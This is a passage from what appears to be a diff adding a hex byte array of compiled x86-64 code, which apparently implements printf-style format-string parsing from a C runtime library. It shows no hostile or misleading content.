0x83, 0xe8, 0x01, 0x0f, 0x84, 0x97, 0x00, + 0x00, 0x00, 0x83, 0xe8, 0x01, 0x74, 0x67, 0x83, 0xe8, 0x01, 0x74, 0x59, + 0x83, 0xe8, 0x01, 0x74, 0x28, 0x83, 0xe8, 0x01, 0x74, 0x16, 0x83, 0xf8, + 0x01, 0x0f, 0x85, 0x20, 0x01, 0x00, 0x00, 0x48, 0x8b, 0xcb, 0xe8, 0xa9, + 0x03, 0x00, 0x00, 0xe9, 0xc3, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xcb, 0xe8, + 0x2c, 0x02, 0x00, 0x00, 0xe9, 0xb6, 0x00, 0x00, 0x00, 0x80, 0xfa, 0x2a, + 0x74, 0x11, 0x48, 0x8d, 0x53, 0x38, 0x48, 0x8b, 0xcb, 0xe8, 0x4e, 0xfe, + 0xff, 0xff, 0xe9, 0xa0, 0x00, 0x00, 0x00, 0x48, 0x83, 0x43, 0x20, 0x08, + 0x48, 0x8b, 0x43, 0x20, 0x8b, 0x48, 0xf8, 0x85, 0xc9, 0x0f, 0x48, 0xcf, + 0x89, 0x4b, 0x38, 0xeb, 0x30, 0x83, 0x63, 0x38, 0x00, 0xe9, 0x85, 0x00, + 0x00, 0x00, 0x80, 0xfa, 0x2a, 0x74, 0x06, 0x48, 0x8d, 0x53, 0x34, 0xeb, + 0xc9, 0x48, 0x83, 0x43, 0x20, 0x08, 0x48, 0x8b, 0x43, 0x20, 0x8b, 0x48, + 0xf8, 0x89, 0x4b, 0x34, 0x85, 0xc9, 0x79, 0x09, 0x83, 0x4b, 0x30, 0x04, + 0xf7, 0xd9, 0x89, 0x4b, 0x34, 0xb0, 0x01, 0xeb, 0x56, 0x8a, 0xc2, 0x80, + 0xfa, 0x20, 0x74, 0x28, 0x3c, 0x23, 0x74, 0x1e, 0x3c, 0x2b, 0x74, 0x14, + 0x3c, 0x2d, 0x74, 0x0a, 0x3c, 0x30, 0x75, 0x43, 0x83, 0x4b, 0x30, 0x08, + 0xeb, 0x3d, 0x83, 0x4b, 0x30, 0x04, 0xeb, 0x37, 0x83, 0x4b, 0x30, 0x01, + 0xeb, 0x31, 0x83, 0x4b, 0x30, 0x20, 0xeb, 0x2b, 0x83, 0x4b, 0x30, 0x02, + 0xeb, 0x25, 0x83, 0x63, 0x34, 0x00, 0x83, 0x63, 0x30, 0x00, 0x83, 0x63, + 0x3c, 0x00, 0xc6, 0x43, 0x40, 0x00, 0x89, 0x7b, 0x38, 0xc6, 0x43, 0x54, + 0x00, 0xeb, 0x0c, 0x48, 0x8b, 0xcb, 0xe8, 0x55, 0x00, 0x00, 0x00, 0x84, + 0xc0, 0x74, 0x4c, 0x48, 0x8b, 0x43, 0x18, 0x8a, 0x08, 0x88, 0x4b, 0x41, + 0x84, 0xc9, 0x0f, 0x85, 0xa1, 0xfe, 0xff, 0xff, 0x48, 0xff, 0x43, 0x18, + 0xff, 0x83, 0x70, 0x04, 0x00, 0x00, 0x83, 0xbb, 0x70, 0x04, 0x00, 0x00, + 0x02, 0x0f, 0x85, 0x7d, 0xfe, 0xff, 0xff, 0x8b, 0x43, 0x28, 0x48, 0x8b, + 0x5c, 0x24, 0x30, 0x48, 0x8b, 0x7c, 0x24, 0x38, 0x48, 0x83, 0xc4, 0x20, + 0x41, 0x5e, 0xc3, 0xe8, 0x18, 0x2a, 0x00, 0x00, 0xc7, 0x00, 0x16, 0x00, + 0x00, 0x00, 0xe8, 0xed, 0x28, 0x00, 0x00, 0x8b, 0xc7, 0xeb, 0xdb, 0xcc, + 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x33, 0xd2, 0x48, 0x8b, 0xd9, 0xe8, + 0x64, 0x00, 0x00, 0x00, 0x84, 0xc0, 0x74, 0x48, 0x48, 0x8b, 0x8b, 0x68, + 0x04, 0x00, 0x00, 0x44, 0x8a, 0x43, 0x41, 0x48, 0x8b, 0x41, 0x08, 0x48, + 0x39, 0x41, 0x10, 0x75, 0x11, 0x80, 0x79, 0x18, 0x00, 0x74, 0x05, 0xff, + 0x43, 0x28, 0xeb, 0x24, 0x83, 0x4b, 0x28, 0xff, 0xeb, 0x1e, 0xff, 0x43, + 0x28, 0x48, 0xff, 0x41, 0x10, 0x48, 0x8b, 0x8b, 0x68, 0x04, 0x00, 0x00, + 0x48, 0x8b, 0x11, 0x44, 0x88, 0x02, 0x48, 0x8b, 0x8b, 0x68, 0x04, 0x00, + 0x00, 0x48, 0xff, 0x01, 0xb0, 0x01, 0xeb, 0x12, 0xe8, 0xa7, 0x29, 0x00, + 0x00, 0xc7, 0x00, 0x16, 0x00, 0x00, 0x00, 0xe8, 0x7c, 0x28, 0x00, 0x00, + 0x32, 0xc0, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0x48, 0x83, 0xec, 0x28, + 0x4c, 0x0f, 0xbe, 0x49, 0x41, 0x4c, 0x8b, 0xc1, 0xc6, 0x41, 0x54, 0x00, + 0x41, 0x83, 0xf9, 0xff, 0x7c, 0x17, 0x48, 0x8b, 0x41, 0x08, 0x48, 0x8b, + 0x00, 0x48, 0x8b, 0x00, 0x42, 0x0f, 0xb7, 0x0c, 0x48, 0x81, 0xe1, 0x00, + 0x80, 0x00, 0x00, 0xeb, 0x02, 0x33, 0xc9, 0x85, 0xc9, 0x74, 0x6c, 0x49, + 0x8b, 0x88, 0x68, 0x04, 0x00, 0x00, 0x48, 0x8b, 0x41, 0x08, 0x48, 0x39, + 0x41, 0x10, 0x75, 0x13, 0x80, 0x79, 0x18, 0x00, 0x74, 0x06, 0x41, 0xff, + 0x40, 0x28, 0xeb, 0x26, 0x41, 0x83, 0x48, 0x28, 0xff, 0xeb, 0x1f, 0x41, + 0xff, 0x40, 0x28, 0x48, 0xff, 0x41, 0x10, 0x49, 0x8b, 0x80, 0x68, 0x04, + 0x00, 0x00, 0x48, 0x8b, 0x08, 0x44, 0x88, 0x09, 0x49, 0x8b, 0x80, 0x68, + 0x04, 0x00, 0x00, 0x48, 0xff, 0x00, 0x49, 0x8b, 0x40, 0x18, 0x8a, 0x08, + 0x48, 0xff, 0xc0, 0x41, 0x88, 0x48, 0x41, 0x49, 0x89, 0x40, 0x18, 0x84, + 0xc9, 0x75, 0x14, 0xe8, 0x04, 0x29, 0x00, 0x00, 0xc7, 0x00, 0x16, 0x00, + 0x00, 0x00, 0xe8, 0xd9, 0x27, 0x00, 0x00, 0x32, 0xc0, 0xeb, 0x02, 0xb0, + 0x01, 0x48, 0x83, 0xc4, 0x28, 0xc3, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x28, + 0x8a, 0x41, 0x41, 0x3c, 0x46, 0x75, 0x19, 0xf6, 0x01, 0x08, 0x0f, 0x85, + 0x52, 0x01, 0x00, 0x00, 0xc7, 0x41, 0x2c, 0x07, 0x00, 0x00, 0x00, 0x48, + 0x83, 0xc4, 0x28, 0xe9, 0x4c, 0x01, 0x00, 0x00, 0x3c, 0x4e, 0x75, 0x27, + 0xf6, 0x01, 0x08, 0x0f, 0x85, 0x35, 0x01, 0x00, 0x00, 0xc7, 0x41, 0x2c, + 0x08, 0x00, 0x00, 0x00, 0xe8, 0xaf, 0x28, 0x00, 0x00, 0xc7, 0x00, 0x16, + 0x00, 0x00, 0x00, 0xe8, 0x84, 0x27, 0x00, 0x00, 0x32, 0xc0, 0xe9, 0x19, + 0x01, 0x00, 0x00, 0x83, 0x79, 0x3c, 0x00, 0x75, 0xe3, 0x3c, 0x49, 0x0f, + 0x84, 0xb0, 0x00, 0x00, 0x00, 0x3c, 0x4c, 0x0f, 0x84, 0x9f, 0x00, 0x00, + 0x00, 0x3c, 0x54, 0x0f, 0x84, 0x8e, 0x00, 0x00, 0x00, 0x3c, 0x68, 0x74, + 0x6c, 0x3c, 0x6a, 0x74, 0x5c, 0x3c, 0x6c, 0x74, 0x34, 0x3c, 0x74, 0x74, + 0x24, 0x3c, 0x77, 0x74, 0x14, 0x3c, 0x7a, 0x0f, 0x85, 0xdd, 0x00, 0x00, + 0x00, 0xc7, 0x41, 0x3c, 0x06, 0x00, 0x00, 0x00, 0xe9, 0xd1, 0x00, 0x00, + 0x00, 0xc7, 0x41, 0x3c, 0x0c, 0x00, 0x00, 0x00, 0xe9, 0xc5, 0x00, 0x00, + 0x00, 0xc7, 0x41, 0x3c, 0x07, 0x00, 0x00, 0x00, 0xe9, 0xb9, 0x00, 0x00, + 0x00, 0x48, 0x8b, 0x41, 0x18, 0x80, 0x38, 0x6c, 0x75, 0x0e, 0x48, 0xff, + 0xc0, 0x48, 0x89, 0x41, 0x18, 0xb8, 0x04, 0x00, 0x00, 0x00, 0xeb, 0x05, + 0xb8, 0x03, 0x00, 0x00, 0x00, 0x89, 0x41, 0x3c, 0xe9, 0x95, 0x00, 0x00, + 0x00, 0xc7, 0x41, 0x3c, 0x05, 0x00, 0x00, 0x00, 0xe9, 0x89, 0x00, 0x00, + 0x00, 0x48, 0x8b, 0x41, 0x18, 0x80, 0x38, 0x68, 0x75, 0x0e, 0x48, 0xff, + 0xc0, 0x48, 0x89, 0x41, 0x18, 0xb8, 0x01, 0x00, 0x00, 0x00, 0xeb, 0xd5, + 0xb8, 0x02, 0x00, 0x00, 0x00, 0xeb, 0xce, 0xc7, 0x41, 0x3c, 0x0d, 0x00, + 0x00, 0x00, 0xeb, 0x62, 0xc7, 0x41, 0x3c, 0x08, 0x00, 0x00, 0x00, 0xeb, + 0x59, 0x48, 0x8b, 0x51, 0x18, 0x8a, 0x02, 0x3c, 0x33, 0x75, 0x17, 0x80, + 0x7a, 0x01, 0x32, 0x75, 0x11, 0x48, 0x8d, 0x42, 0x02, 0xc7, 0x41, 0x3c, + 0x0a, 0x00, 0x00, 0x00, 0x48, 0x89, 0x41, 0x18, 0xeb, 0x38, 0x3c, 0x36, + 0x75, 0x17, 0x80, 0x7a, 0x01, 0x34, 0x75, 0x11, 0x48, 0x8d, 0x42, 0x02, + 0xc7, 0x41, 0x3c, 0x0b, 0x00, 0x00, 0x00, 0x48, 0x89, 0x41, 0x18, 0xeb, + 0x1d, 0x2c, 0x58, 0x3c, 0x20, 0x77, 0x17, 0x48, 0xba, 0x01, 0x10, 0x82, + 0x20, 0x01, 0x00, 0x00, 0x00, 0x48, 0x0f, 0xa3, 0xc2, 0x73, 0x07, 0xc7, + 0x41, 0x3c, 0x09, 0x00, 0x00, 0x00, 0xb0, 0x01, 0x48, 0x83, 0xc4, 0x28, + 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x10, 0x48, 0x89, 0x6c, + 0x24, 0x18, 0x48, 0x89, 0x74, 0x24, 0x20, 0x57, 0x41, 0x56, 0x41, 0x57, + 0x48, 0x83, 0xec, 0x30, 0x8a, 0x41, 0x41, 0x48, 0x8b, 0xd9, 0x41, 0xbf, + 0x01, 0x00, 0x00, 0x00, 0x40, 0xb6, 0x78, 0x40, 0xb5, 0x58, 0x41, 0xb6, + 0x41, 0x3c, 0x64, 0x7f, 0x56, 0x0f, 0x84, 0xbc, 0x00, 0x00, 0x00, 0x41, + 0x3a, 0xc6, 0x0f, 0x84, 0xc6, 0x00, 0x00, 0x00, 0x3c, 0x43, 0x74, 0x2d, + 0x3c, 0x44, 0x0f, 0x8e, 0xc3, 0x00, 0x00, 0x00, 0x3c, 0x47, 0x0f, 0x8e, + 0xb2, 0x00, 0x00, 0x00, 0x3c, 0x53, 0x74, 0x57, 0x40, 0x3a, 0xc5, 0x74, + 0x67, 0x3c, 0x5a, 0x74, 0x1c, 0x3c, 0x61, 0x0f, 0x84, 0x9d, 0x00, 0x00, + 0x00, 0x3c, 0x63, 0x0f, 0x85, 0x9e, 0x00, 0x00, 0x00, 0x33, 0xd2, 0xe8, + 0x90, 0x04, 0x00, 0x00, 0xe9, 0x8e, 0x00, 0x00, 0x00, 0xe8, 0x56, 0x02, + 0x00, 0x00, 0xe9, 0x84, 0x00, 0x00, 0x00, 0x3c, 0x67, 0x7e, 0x7b, 0x3c, + 0x69, 0x74, 0x64, 0x3c, 0x6e, 0x74, 0x59, 0x3c, 0x6f, 0x74, 0x37, 0x3c, + 0x70, 0x74, 0x1b, 0x3c, 0x73, 0x74, 0x10, 0x3c, 0x75, 0x74, 0x54, 0x40, + 0x3a, 0xc6, 0x75, 0x67, 0xba, 0x10, 0x00, 0x00, 0x00, 0xeb, 0x4d, 0xe8, + 0x24, 0x07, 0x00, 0x00, 0xeb, 0x55, 0xc7, 0x41, 0x38, 0x10, 0x00, 0x00, + 0x00, 0xc7, 0x41, 0x3c, 0x0b, 0x00, 0x00, 0x00, 0x45, 0x8a, 0xc7, 0xba, + 0x10, 0x00, 0x00, 0x00, 0xeb, 0x31, 0x8b, 0x49, 0x30, 0x8b, 0xc1, 0xc1, + 0xe8, 0x05, 0x41, 0x84, 0xc7, 0x74, 0x07, 0x0f, 0xba, 0xe9, 0x07, 0x89, + 0x4b, 0x30, 0xba, 0x08, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xcb, 0xeb, 0x10, + 0xe8, 0x5f, 0x06, 0x00, 0x00, 0xeb, 0x18, 0x83, 0x49, 0x30, 0x10, 0xba, + 0x0a, 0x00, 0x00, 0x00, 0x45, 0x33, 0xc0, 0xe8, 0xcc, 0x04, 0x00, 0x00, + 0xeb, 0x05, 0xe8, 0x41, 0x02, 0x00, 0x00, 0x84, 0xc0, 0x75, 0x07, 0x32, + 0xc0, 0xe9, 0x37, 0x01, 0x00, 0x00, 0x80, 0x7b, 0x40, 0x00, 0x0f, 0x85, + 0x2a, 0x01, 0x00, 0x00, 0x8b, 0x53, 0x30, 0x33, 0xc0, 0x66, 0x89, 0x44, + 0x24, 0x50, 0x33, 0xff, 0x88, 0x44, 0x24, 0x52, 0x8b, 0xc2, 0xc1, 0xe8, + 0x04, 0x41, 0x84, 0xc7, 0x74, 0x2e, 0x8b, 0xc2, 0xc1, 0xe8, 0x06, 0x41, + 0x84, 0xc7, 0x74, 0x07, 0xc6, 0x44, 0x24, 0x50, 0x2d, 0xeb, 0x1a, 0x41, + 0x84, 0xd7, 0x74, 0x07, 0xc6, 0x44, 0x24, 0x50, 0x2b, 0xeb, 0x0e, 0x8b, + 0xc2, 0xd1, 0xe8, 0x41, 0x84, 0xc7, 0x74, 0x08, 0xc6, 0x44, 0x24, 0x50, + 0x20, 0x49, 0x8b, 0xff, 0x8a, 0x4b, 0x41, 0x8a, 0xc1, 0x40, 0x2a, 0xc5, + 0xa8, 0xdf, 0x75, 0x0f, 0x8b, 0xc2, 0xc1, 0xe8, 0x05, 0x41, 0x84, 0xc7, + 0x74, 0x05, 0x45, 0x8a, 0xc7, 0xeb, 0x03, 0x45, 0x32, 0xc0, 0x8a, 0xc1, + 0x41, 0x2a, 0xc6, 0xa8, 0xdf, 0x0f, 0x94, 0xc0, 0x45, 0x84, 0xc0, 0x75, + 0x04, 0x84, 0xc0, 0x74, 0x1b, 0xc6, 0x44, 0x3c, 0x50, 0x30, 0x40, 0x3a, + 0xcd, 0x74, 0x05, 0x41, 0x3a, 0xce, 0x75, 0x03, 0x40, 0x8a, 0xf5, 0x40, + 0x88, 0x74, 0x3c, 0x51, 0x48, 0x83, 0xc7, 0x02, 0x8b, 0x73, 0x34, 0x48, + 0x8d, 0x6b, 0x28, 0x2b, 0x73, 0x50, 0x4c, 0x8d, 0xb3, 0x68, 0x04, 0x00, + 0x00, 0x2b, 0xf7, 0xf6, 0xc2, 0x0c, 0x75, 0x10, 0x4c, 0x8b, 0xcd, 0x44, + 0x8b, 0xc6, 0xb2, 0x20, 0x49, 0x8b, 0xce, 0xe8, 0xb4, 0xf6, 0xff, 0xff, + 0x48, 0x8d, 0x43, 0x10, 0x4c, 0x8b, 0xcd, 0x44, 0x8b, 0xc7, 0x48, 0x89, + 0x44, 0x24, 0x20, 0x48, 0x8d, 0x54, 0x24, 0x50, 0x49, 0x8b, 0xce, 0xe8, + 0x54, 0x07, 0x00, 0x00, 0x8b, 0x4b, 0x30, 0x8b, 0xc1, 0xc1, 0xe8, 0x03, + 0x41, 0x84, 0xc7, 0x74, 0x18, 0xc1, 0xe9, 0x02, 0x41, 0x84, 0xcf, 0x75, + 0x10, 0x4c, 0x8b, 0xcd, 0x44, 0x8b, 0xc6, 0xb2, 0x30, 0x49, 0x8b, 0xce, + 0xe8, 0x73, 0xf6, 0xff, 0xff, 0x33, 0xd2, 0x48, 0x8b, 0xcb, 0xe8, 0x49, + 0x06, 0x00, 0x00, 0x83, 0x7d, 0x00, 0x00, 0x7c, 0x1d, 0x44, 0x8b, 0x53, + 0x30, 0x41, 0xc1, 0xea, 0x02, 0x45, 0x84, 0xd7, 0x74, 0x10, 0x4c, 0x8b, + 0xcd, 0x44, 0x8b, 0xc6, 0xb2, 0x20, 0x49, 0x8b, 0xce, 0xe8, 0x46, 0xf6, + 0xff, 0xff, 0x41, 0x8a, 0xc7, 0x48, 0x8b, 0x5c, 0x24, 0x58, 0x48, 0x8b, + 0x6c, 0x24, 0x60, 0x48, 0x8b, 0x74, 0x24, 0x68, 0x48, 0x83, 0xc4, 0x30, + 0x41, 0x5f, 0x41, 0x5e, 0x5f, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, + 0xcc, 0xcc, 0xcc, 0xcc, 0x83, 0xf9, 0x0b, 0x77, 0x2e, 0x48, 0x63, 0xc1, + 0x48, 0x8d, 0x15, 0x51, 0xb7, 0xff, 0xff, 0x8b, 0x8c, 0x82, 0xd8, 0x48, + 0x00, 0x00, 0x48, 0x03, 0xca, 0xff, 0xe1, 0xb8, 0x01, 0x00, 0x00, 0x00, + 0xc3, 0xb8, 0x02, 0x00, 0x00, 0x00, 0xc3, 0xb8, 0x04, 0x00, 0x00, 0x00, + 0xc3, 0xb8, 0x08, 0x00, 0x00, 0x00, 0xc3, 0x33, 0xc0, 0xc3, 0x66, 0x90, + 0xc7, 0x48, 0x00, 0x00, 0xbb, 0x48, 0x00, 0x00, 0xc1, 0x48, 0x00, 0x00, + 0xc7, 0x48, 0x00, 0x00, 0xcd, 0x48, 0x00, 0x00, 0xcd, 0x48, 0x00, 0x00, + 0xcd, 0x48, 0x00, 0x00, 0xcd, 0x48, 0x00, 0x00, 0xd3, 0x48, 0x00, 0x00, + 0xcd, 0x48, 0x00, 0x00, 0xc7, 0x48, 0x00, 0x00, 0xcd, 0x48, 0x00, 0x00, + 0x48, 0x83, 0x41, 0x20, 0x08, 0x48, 0x8b, 0x41, 0x20, 0x4c, 0x8b, 0x40, + 0xf8, 0x4d, 0x85, 0xc0, 0x74, 0x47, 0x4d, 0x8b, 0x48, 0x08, 0x4d, 0x85, + 0xc9, 0x74, 0x3e, 0x8b, 0x51, 0x3c, 0x83, 0xea, 0x02, 0x74, 0x20, 0x83, + 0xea, 0x01, 0x74, 0x17, 0x83, 0xfa, 0x09, 0x74, 0x12, 0x83, 0x79, 0x3c, + 0x0d, 0x74, 0x10, 0x8a, 0x41, 0x41, 0x2c, 0x63, 0xa8, 0xef, 0x0f, 0x95, + 0xc2, 0xeb, 0x06, 0xb2, 0x01, 0xeb, 0x02, 0x32, 0xd2, 0x4c, 0x89, 0x49, + 0x48, 0x41, 0x0f, 0xb7, 0x00, 0x84, 0xd2, 0x74, 0x18, 0xc6, 0x41, 0x54, + 0x01, 0xd1, 0xe8, 0xeb, 0x14, 0x48, 0x8d, 0x15, 0x78, 0xed, 0x00, 0x00, + 0xb8, 0x06, 0x00, 0x00, 0x00, 0x48, 0x89, 0x51, 0x48, 0xc6, 0x41, 0x54, + 0x00, 0x89, 0x41, 0x50, 0xb0, 0x01, 0xc3, 0xcc, 0x48, 0x89, 0x5c, 0x24, + 0x10, 0x57, 0x48, 0x83, 0xec, 0x50, 0x83, 0x49, 0x30, 0x10, 0x48, 0x8b, + 0xd9, 0x8b, 0x41, 0x38, 0x85, 0xc0, 0x79, 0x16, 0x8a, 0x41, 0x41, 0x2c, + 0x41, 0x24, 0xdf, 0xf6, 0xd8, 0x1b, 0xc0, 0x83, 0xe0, 0xf9, 0x83, 0xc0, + 0x0d, 0x89, 0x41, 0x38, 0xeb, 0x1c, 0x75, 0x1a, 0x80, 0x79, 0x41, 0x67, + 0x74, 0x08, 0x33, 0xc0, 0x80, 0x79, 0x41, 0x47, 0x75, 0x0c, 0xc7, 0x41, + 0x38, 0x01, 0x00, 0x00, 0x00, 0xb8, 0x01, 0x00, 0x00, 0x00, 0x48, 0x8d, + 0x79, 0x58, 0x05, 0x5d, 0x01, 0x00, 0x00, 0x48, 0x63, 0xd0, 0x48, 0x8b, + 0xcf, 0xe8, 0x26, 0xf3, 0xff, 0xff, 0x41, 0xb8, 0x00, 0x02, 0x00, 0x00, + 0x84, 0xc0, 0x75, 0x21, 0x48, 0x83, 0xbb, 0x60, 0x04, 0x00, 0x00, 0x00, + 0x75, 0x05, 0x41, 0x8b, 0xc0, 0xeb, 0x0a, 0x48, 0x8b, 0x83, 0x58, 0x04, + 0x00, 0x00, 0x48, 0xd1, 0xe8, 0x05, 0xa3, 0xfe, 0xff, 0xff, 0x89, 0x43, + 0x38, 0x48, 0x8b, 0x87, 0x08, 0x04, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x48, + 0x0f, 0x44, 0xc7, 0x48, 0x89, 0x43, 0x48, 0x48, 0x83, 0x43, 0x20, 0x08, + 0x48, 0x8b, 0x43, 0x20, 0x48, 0x8b, 0x8b, 0x60, 0x04, 0x00, 0x00, 0xf2, + 0x0f, 0x10, 0x40, 0xf8, 0xf2, 0x0f, 0x11, 0x44, 0x24, 0x60, 0x48, 0x85, + 0xc9, 0x75, 0x05, 0x49, 0x8b, 0xd0, 0xeb, 0x0a, 0x48, 0x8b, 0x93, 0x58, + 0x04, 0x00, 0x00, 0x48, 0xd1, 0xea, 0x48, 0x85, 0xc9, 0x75, 0x09, 0x4c, + 0x8d, 0x8b, 0x58, 0x02, 0x00, 0x00, 0xeb, 0x1a, 0x4c, 0x8b, 0x8b, 0x58, + 0x04, 0x00, 0x00, 0x48, 0x8b, 0xf9, 0x4c, 0x8b, 0x83, 0x58, 0x04, 0x00, + 0x00, 0x49, 0xd1, 0xe9, 0x4c, 0x03, 0xc9, 0x49, 0xd1, 0xe8, 0x48, 0x8b, + 0x43, 0x08, 0x0f, 0xbe, 0x4b, 0x41, 0xc7, 0x44, 0x24, 0x48, 0x01, 0x00, + 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x40, 0x48, 0x8b, 0x03, 0x48, 0x89, + 0x44, 0x24, 0x38, 0x8b, 0x43, 0x38, 0x89, 0x44, 0x24, 0x30, 0x89, 0x4c, + 0x24, 0x28, 0x48, 0x8d, 0x4c, 0x24, 0x60, 0x48, 0x89, 0x54, 0x24, 0x20, + 0x48, 0x8b, 0xd7, 0xe8, 0xb0, 0x34, 0x00, 0x00, 0x8b, 0x43, 0x30, 0xc1, + 0xe8, 0x05, 0xa8, 0x01, 0x74, 0x13, 0x83, 0x7b, 0x38, 0x00, 0x75, 0x0d, + 0x48, 0x8b, 0x53, 0x08, 0x48, 0x8b, 0x4b, 0x48, 0xe8, 0xbb, 0xf5, 0xff, + 0xff, 0x8a, 0x43, 0x41, 0x2c, 0x47, 0xa8, 0xdf, 0x75, 0x17, 0x8b, 0x43, + 0x30, 0xc1, 0xe8, 0x05, 0xa8, 0x01, 0x75, 0x0d, 0x48, 0x8b, 0x53, 0x08, + 0x48, 0x8b, 0x4b, 0x48, 0xe8, 0xfb, 0xf4, 0xff, 0xff, 0x48, 0x8b, 0x4b, + 0x48, 0x8a, 0x01, 0x3c, 0x2d, 0x75, 0x0d, 0x83, 0x4b, 0x30, 0x40, 0x48, + 0xff, 0xc1, 0x48, 0x89, 0x4b, 0x48, 0x8a, 0x01, 0x2c, 0x49, 0x3c, 0x25, + 0x77, 0x18, 0x48, 0xba, 0x21, 0x00, 0x00, 0x00, 0x21, 0x00, 0x00, 0x00, + 0x48, 0x0f, 0xa3, 0xc2, 0x73, 0x08, 0x83, 0x63, 0x30, 0xf7, 0xc6, 0x43, + 0x41, 0x73, 0x48, 0x83, 0xca, 0xff, 0x48, 0xff, 0xc2, 0x80, 0x3c, 0x11, + 0x00, 0x75, 0xf7, 0x89, 0x53, 0x50, 0xb0, 0x01, 0x48, 0x8b, 0x5c, 0x24, + 0x68, 0x48, 0x83, 0xc4, 0x50, 0x5f, 0xc3, 0xcc, 0x40, 0x53, 0x48, 0x83, + 0xec, 0x30, 0x48, 0x8b, 0xd9, 0x8b, 0x49, 0x3c, 0x83, 0xe9, 0x02, 0x74, + 0x1c, 0x83, 0xe9, 0x01, 0x74, 0x1d, 0x83, 0xf9, 0x09, 0x74, 0x18, 0x83, + 0x7b, 0x3c, 0x0d, 0x74, 0x5e, 0x8a, 0x43, 0x41, 0x2c, 0x63, 0xa8, 0xef, + 0x0f, 0x95, 0xc0, 0xeb, 0x02, 0x32, 0xc0, 0x84, 0xc0, 0x74, 0x4c, 0x48, + 0x83, 0x43, 0x20, 0x08, 0x48, 0x8b, 0x43, 0x20, 0x48, 0x8b, 0x93, 0x60, + 0x04, 0x00, 0x00, 0x44, 0x0f, 0xb7, 0x48, 0xf8, 0x48, 0x85, 0xd2, 0x75, + 0x0c, 0x41, 0xb8, 0x00, 0x02, 0x00, 0x00, 0x48, 0x8d, 0x53, 0x58, 0xeb, + 0x0a, 0x4c, 0x8b, 0x83, 0x58, 0x04, 0x00, 0x00, 0x49, 0xd1, 0xe8, 0x48, + 0x8b, 0x43, 0x08, 0x48, 0x8d, 0x4b, 0x50, 0x48, 0x89, 0x44, 0x24, 0x20, + 0xe8, 0x73, 0x24, 0x00, 0x00, 0x85, 0xc0, 0x74, 0x2e, 0xc6, 0x43, 0x40, + 0x01, 0xeb, 0x28, 0x48, 0x8d, 0x43, 0x58, 0x4c, 0x8b, 0x80, 0x08, 0x04, + 0x00, 0x00, 0x4d, 0x85, 0xc0, 0x4c, 0x0f, 0x44, 0xc0, 0x48, 0x83, 0x43, + 0x20, 0x08, 0x48, 0x8b, 0x4b, 0x20, 0x8a, 0x51, 0xf8, 0x41, 0x88, 0x10, + 0xc7, 0x43, 0x50, 0x01, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x4b, 0x58, 0xb0, + 0x01, 0x48, 0x8b, 0x91, 0x08, 0x04, 0x00, 0x00, 0x48, 0x85, 0xd2, 0x48, + 0x0f, 0x44, 0xd1, 0x48, 0x89, 0x53, 0x48, 0x48, 0x83, 0xc4, 0x30, 0x5b, + 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x8b, 0xc4, 0x48, 0x89, 0x58, 0x08, 0x48, + 0x89, 0x68, 0x10, 0x48, 0x89, 0x70, 0x18, 0x48, 0x89, 0x78, 0x20, 0x41, + 0x56, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0xd9, 0x41, 0x8a, 0xe8, 0x8b, + 0x49, 0x3c, 0x44, 0x8b, 0xf2, 0xe8, 0x76, 0xfc, 0xff, 0xff, 0x48, 0x8b, + 0xc8, 0x48, 0x8b, 0xf0, 0x48, 0x83, 0xe9, 0x01, 0x74, 0x7e, 0x48, 0x83, + 0xe9, 0x01, 0x74, 0x58, 0x48, 0x83, 0xe9, 0x02, 0x74, 0x34, 0x48, 0x83, + 0xf9, 0x04, 0x74, 0x17, 0xe8, 0x5f, 0x21, 0x00, 0x00, 0xc7, 0x00, 0x16, + 0x00, 0x00, 0x00, 0xe8, 0x34, 0x20, 0x00, 0x00, 0x32, 0xc0, 0xe9, 0x05, + 0x01, 0x00, 0x00, 0x8b, 0x43, 0x30, 0x48, 0x83, 0x43, 0x20, 0x08, 0xc1, + 0xe8, 0x04, 0xa8, 0x01, 0x48, 0x8b, 0x43, 0x20, 0x48, 0x8b, 0x78, 0xf8, + 0xeb, 0x5c, 0x8b, 0x43, 0x30, 0x48, 0x83, 0x43, 0x20, 0x08, 0xc1, 0xe8, + 0x04, 0xa8, 0x01, 0x48, 0x8b, 0x43, 0x20, 0x74, 0x06, 0x48, 0x63, 0x78, + 0xf8, 0xeb, 0x43, 0x8b, 0x78, 0xf8, 0xeb, 0x3e, 0x8b, 0x43, 0x30, 0x48, + 0x83, 0x43, 0x20, 0x08, 0xc1, 0xe8, 0x04, 0xa8, 0x01, 0x48, 0x8b, 0x43, + 0x20, 0x74, 0x07, 0x48, 0x0f, 0xbf, 0x78, 0xf8, 0xeb, 0x24, 0x0f, 0xb7, + 0x78, 0xf8, 0xeb, 0x1e, 0x8b, 0x43, 0x30, 0x48, 0x83, 0x43, 0x20, 0x08, + 0xc1, 0xe8, 0x04, 0xa8, 0x01, 0x48, 0x8b, 0x43, 0x20, 0x74, 0x07, 0x48, + 0x0f, 0xbe, 0x78, 0xf8, 0xeb, 0x04, 0x0f, 0xb6, 0x78, 0xf8, 0x8b, 0x4b, + 0x30, 0x8b, 0xc1, 0xc1, 0xe8, 0x04, 0xa8, 0x01, 0x74, 0x0e, 0x48, 0x85, + 0xff, 0x79, 0x09, 0x48, 0xf7, 0xdf, 0x83, 0xc9, 0x40, 0x89, 0x4b, 0x30, + 0x83, 0x7b, 0x38, 0x00, 0x7d, 0x09, 0xc7, 0x43, 0x38, 0x01, 0x00, 0x00, + 0x00, 0xeb, 0x13, 0x48, 0x63, 0x53, 0x38, 0x83, 0xe1, 0xf7, 0x89, 0x4b, + 0x30, 0x48, 0x8d, 0x4b, 0x58, 0xe8, 0xf2, 0xef, 0xff, 0xff, 0x48, 0x85, + 0xff, 0x75, 0x04, 0x83, 0x63, 0x30, 0xdf, 0xc6, 0x43, 0x54, 0x00, 0x44, + 0x8a, 0xcd, 0x45, 0x8b, 0xc6, 0x48, 0x8b, 0xcb, 